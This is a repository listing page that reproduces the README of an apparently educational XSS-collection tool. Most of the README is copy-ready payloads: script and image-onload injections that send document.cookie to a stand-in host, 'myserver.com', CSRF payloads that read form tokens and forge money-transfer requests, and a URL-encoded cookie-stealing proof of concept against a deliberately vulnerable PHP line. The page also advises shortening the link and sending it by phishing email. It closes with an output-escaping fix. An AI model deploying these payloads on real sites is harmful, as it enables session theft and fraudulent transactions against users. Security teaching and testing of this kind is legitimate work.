All Projects → ivan-sincek → xss-catcher

ivan-sincek / xss-catcher

Licence: MIT license
Simple API for storing all incoming XSS requests.

Programming Languages

HTML
75241 projects
PHP
23972 projects - #3 most used programming language

Projects that are alternatives of or similar to xss-catcher

wifi-penetration-testing-cheat-sheet
Work in progress...
Stars: ✭ 149 (+473.08%)
Mutual labels:  offensive-security, ethical-hacking, red-team-engagement
DNSExplorer
Bash script that automates the enumeration of domains and DNS servers in the active information gathering.
Stars: ✭ 33 (+26.92%)
Mutual labels:  offensive-security, ethical-hacking
java-reverse-tcp
JAR, Java, and JSP shells that work on Linux OS, macOS, and Windows OS.
Stars: ✭ 19 (-26.92%)
Mutual labels:  offensive-security, ethical-hacking
php-reverse-shell
PHP shells that work on Linux OS, macOS, and Windows OS.
Stars: ✭ 274 (+953.85%)
Mutual labels:  offensive-security, ethical-hacking
keylogger
Windows OS keylogger with a hook mechanism (i.e. with a keyboard hook procedure).
Stars: ✭ 37 (+42.31%)
Mutual labels:  offensive-security, ethical-hacking
Invoker
Penetration testing utility, and antivirus assessment tool.
Stars: ✭ 178 (+584.62%)
Mutual labels:  offensive-security
RedTeaming-Tactics-and-Techniques
Red Teaming Tactics and Techniques
Stars: ✭ 2,991 (+11403.85%)
Mutual labels:  offensive-security
Raccoon
A high performance offensive security tool for reconnaissance and vulnerability scanning
Stars: ✭ 2,312 (+8792.31%)
Mutual labels:  offensive-security
Offensive Dockerfiles
Offensive tools as Dockerfiles. Lightweight & Ready to go
Stars: ✭ 150 (+476.92%)
Mutual labels:  offensive-security
LAZYPARIAH
A tool for generating reverse shell payloads on the fly.
Stars: ✭ 121 (+365.38%)
Mutual labels:  ethical-hacking
aterm
It records your terminal, then lets you upload to ASHIRT
Stars: ✭ 17 (-34.62%)
Mutual labels:  offensive-security
BruteSniffing Fisher
hacking tool
Stars: ✭ 24 (-7.69%)
Mutual labels:  ethical-hacking
Crithit
Takes a single wordlist item and tests it one by one over a large collection of websites before moving onto the next. Create signatures to cross-check vulnerabilities over multiple hosts.
Stars: ✭ 182 (+600%)
Mutual labels:  offensive-security
InlineWhispers2
Tool for working with Direct System Calls in Cobalt Strike's Beacon Object Files (BOF) via Syswhispers2
Stars: ✭ 156 (+500%)
Mutual labels:  red-team-engagement
Awae Preparation
This repository will contain all trainings and tutorials I have done/read to prepare for OSWE / AWAE.
Stars: ✭ 173 (+565.38%)
Mutual labels:  offensive-security
xssfinder
Toolset for detecting reflected xss in websites
Stars: ✭ 105 (+303.85%)
Mutual labels:  cross-site-scripting
Invoke Apex
A PowerShell-based toolkit and framework consisting of a collection of techniques and tradecraft for use in red team, post-exploitation, adversary simulation, or other offensive security tasks.
Stars: ✭ 162 (+523.08%)
Mutual labels:  offensive-security
ehtk
Ethical Hacking Toolkit is a collection of tools, cheat sheets, and resources for Ethical hackers, Penetration Tester, and Security Researchers etc. It contains almost all tools mentioned in CEH, OSCP, eCPPT and PNPT
Stars: ✭ 59 (+126.92%)
Mutual labels:  ethical-hacking
Some Pentesters SecurityResearchers RedTeamers
Some Pentesters, Security Researchers, Red Teamers which i learned from them a lot...
Stars: ✭ 60 (+130.77%)
Mutual labels:  offensive-security
conti-pentester-guide-leak
Leaked pentesting manuals given to Conti ransomware crooks
Stars: ✭ 772 (+2869.23%)
Mutual labels:  offensive-security

XSS Catcher

Simple API for storing all incoming XSS requests.

Incoming XSS request can have site, data (i.e. stolen data), info, and redirect HTTP request parameters.

Use redirect with <script src="https://myserver.com?redirect=xss.js"></script> to both store an XSS request and execute JavaScript code. Redirect file e.g. xss.js will resolve to the relative path on your web server, i.e. ./xss.js.

This topic is very broad and only few client side injections were covered. Keep in mind that XSS is not limited only to JavaScript.

Play with the given examples and make your own (possibly shorter).

Tested on XAMPP for Windows v7.4.3 (64-bit) with Chrome v92.0.4515.131 (64-bit) and Firefox v90.0.2 (64-bit).

Made for educational purposes. I hope it will help!

Table of Contents

How to Run

Import \db\xss_catcher.sql to your database server.

Copy all the content from \src\ to your server's web root directory (e.g. to \xampp\htdocs\ on XAMPP).

Change the database settings inside \src\php\config.ini as necessary.

Navigate to your database panel with your preferred web browser.

You can use ngrok to give your XAMPP a public address.

Cross-Site Scripting (XSS)

Usually used to steal cookies or to modify a web page.

XSS Types

The most common type is the reflected XSS attack. It usually reflects malicious code only to the person who e.g. opens a malicious link.

Stored XSS attack is when malicious code gets stored (i.e. saved) into e.g. a database table, file, etc. It usually reflects to every person who loads the infected table, file, etc.

DOM based XSS attack, also reflects malicious code only to the person who e.g. opens a malicious link, but comapred to reflected XSS attack, cannot modify the HTTP response.

XSS Injections

Simple XSS examples:

<script>alert(1)</script>

<script src="https://myserver.com?redirect=xss.js"></script>

<img src="https://github.com/favicon.ico" onload="alert(1)">

HTTP cookies must be missing the HttpOnly flag in order for you to steal them. SameSite flag might also prevent you from stealing them.

Steal HTTP cookies by injecting the following JavaScript code:

<script>var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '&data=' + encodeURIComponent(document.cookie));</script>

<script>var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.send('{\"site\": \"' + encodeURIComponent(location.hostname + location.pathname) + '\", \"data\": \"' + encodeURIComponent(document.cookie) + "\"}");</script>

First example above will send an HTTP POST request to your server with user-defined parameters as a form-data. Opt for this example whenever possible.

To send user-defined parameters as a form-data, you must add Content-Type: application/x-www-form-urlencoded HTTP request header.

Second example above will send an HTTP POST request to your server with raw data encoded in JSON.

Steal HTTP cookies by injecting the following HTML code:

<img src="https://github.com/favicon.ico" alt="xss" onload="var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '&data=' + encodeURIComponent(document.cookie));" hidden="hidden">

<img src="https://github.com/favicon.ico" alt="xss" onload="this.src = 'https://myserver.com?site=' + encodeURIComponent(location.hostname) + location.pathname + '&data=' + encodeURIComponent(document.cookie);" hidden="hidden">

First example above will send an HTTP POST request to your server with user-defined parameters as a form-data.

Second example above will send an HTTP GET request to your server with user-defined parameters in a query string (i.e. in a URL).

Cross-Site Request Forgery (CSRF)

Not necessarily used to steal cookies or to modify a web page. The goal is to just execute a forged query in the name of an already signed-in user.

The simplest way to do so, is to send aphishing email containing a link such as https://target.com/transfer.php?recipient=eve&amount=9000 (limited to HTTP GET request) to the victim or to store/hide a malicious code in either your target's website or your own website, and then send the less suspicious link.

Try to figure out what kind of data does a backend server accept before you try to forge/send anything. Is it a query string, form-data, raw data encoded in JSON, etc.?


JavaScript:

  • can execute multiple HTTP requests in a row,
  • can extract data from one HTTP response and use it in another HTTP request,
  • usually gets blocked by CORS.

HTML:

  • can execute multiple HTTP requests in a row (limited to HTTP GET request, race condition may occur),
  • can extract data from one HTTP response and use it in another HTTP request,
  • usually gets blocked by CORS.

CSS:

  • can execute multiple HTTP requests in a row (limited to HTTP GET request, race condition may occur),
  • can extract data from one HTTP response and use it in another HTTP request,
  • usually gets blocked by CORS.

CSRF Injections

Plant a forged request by injecting the following JavaScript code:

<script>var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://target.com/transfer.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('recipient=eve&amount=9000');</script>

Example above will send an HTTP POST request to a target server in the victim's name with user-defined parameters as a form-data.

Plant a forged request whilst stealing a web form token by injecting the following JavaScript code:

<script>window.onload = function() { var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://target.com/transfer.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('recipient=eve&amount=9000&token=' + encodeURIComponent(document.getElementsByName('token')[0].value)); }</script>

<script>window.onload = function() { var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://target.com/transfer.php?recipient=eve&amount=9000&token=' + encodeURIComponent(document.getElementsByName('token')[0].value), true); xhr.send(); }</script>

First example above will send an HTTP POST request to a target server in the victim's name with user-defined parameters as a form-data.

Second example above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e. in a URL).

To steal a web form token or any other web form data, you must wait for the web form to fully render/load. You can do that by calling the window.onload event.

Plant a forged request by injecting the following HTML code:

<img src="https://target.com/transfer.php?recipient=eve&amount=9000" alt="csrf" hidden="hidden">

<img src="https://github.com/favicon.ico" alt="csrf" style="background-image: url('https://target.com/transfer.php?recipient=eve&amount=9000');" hidden="hidden">

Both examples above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e. in a URL).

Plant a forged request by injecting the following CSS code:

<style>div { background-image: url('https://target.com/transfer.php?recipient=eve&amount=9000'); }</style>

Example above will send an HTTP GET request to a target server in the victim's name with user-defined parameters in a query string (i.e. in a URL).

CSRF Templates

Copy all the content from \templates\ to your server's web root directory (e.g. to \xampp\htdocs\ on XAMPP).

Simple Python3 one-liner:

python3 -m http.server 9000 --directory somedir

Change the URL, HTTP method, HTTP request headers, data, etc. inside the scripts as necessary. Extend the scripts to your liking.

Navigate to the website with your preferred web browser.

Proof of Concept (XSS) - No Input Sanitization

This proof of concept shows how to steal cookies through an unsanitized HTTP request parameter.

Vulnerable code:

<script>var language = '<?php if (isset($_GET["language"])) { echo $_GET["language"]; } ?>';</script>

Expected use:

<script>var language = 'en';</script>

User-supplied data:

en'; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://myserver.com', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('site=' + encodeURIComponent(location.hostname + location.pathname) + '&data=' + encodeURIComponent(document.cookie)); var test = '

Always make sure to properly close the surrounding code.

Encode your code to the URL encoded format here.

Final XSS request:

https://localhost/welcome.php?language=en%27%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27https%3A%2F%2Fmyserver.com%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application%2Fx-www-form-urlencoded%27%29%3B%20xhr.send%28%27site%3D%27%20%2B%20encodeURIComponent%28location.hostname%20%2B%20location.pathname%29%20%2B%20%27%26data%3D%27%20%2B%20encodeURIComponent%28document.cookie%29%29%3B%20var%20test%20%3D%20%27

[OPTIONAL] Shorten your query string (i.e. URL) with Bitly.

Solution (output escaping):

<script>var language = '<?php if (isset($_GET["language"])) { echo htmlentities($_GET["language"], ENT_QUOTES, "UTF-8"); } ?>';</script>

Images

Database

Figure 1 - Database

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].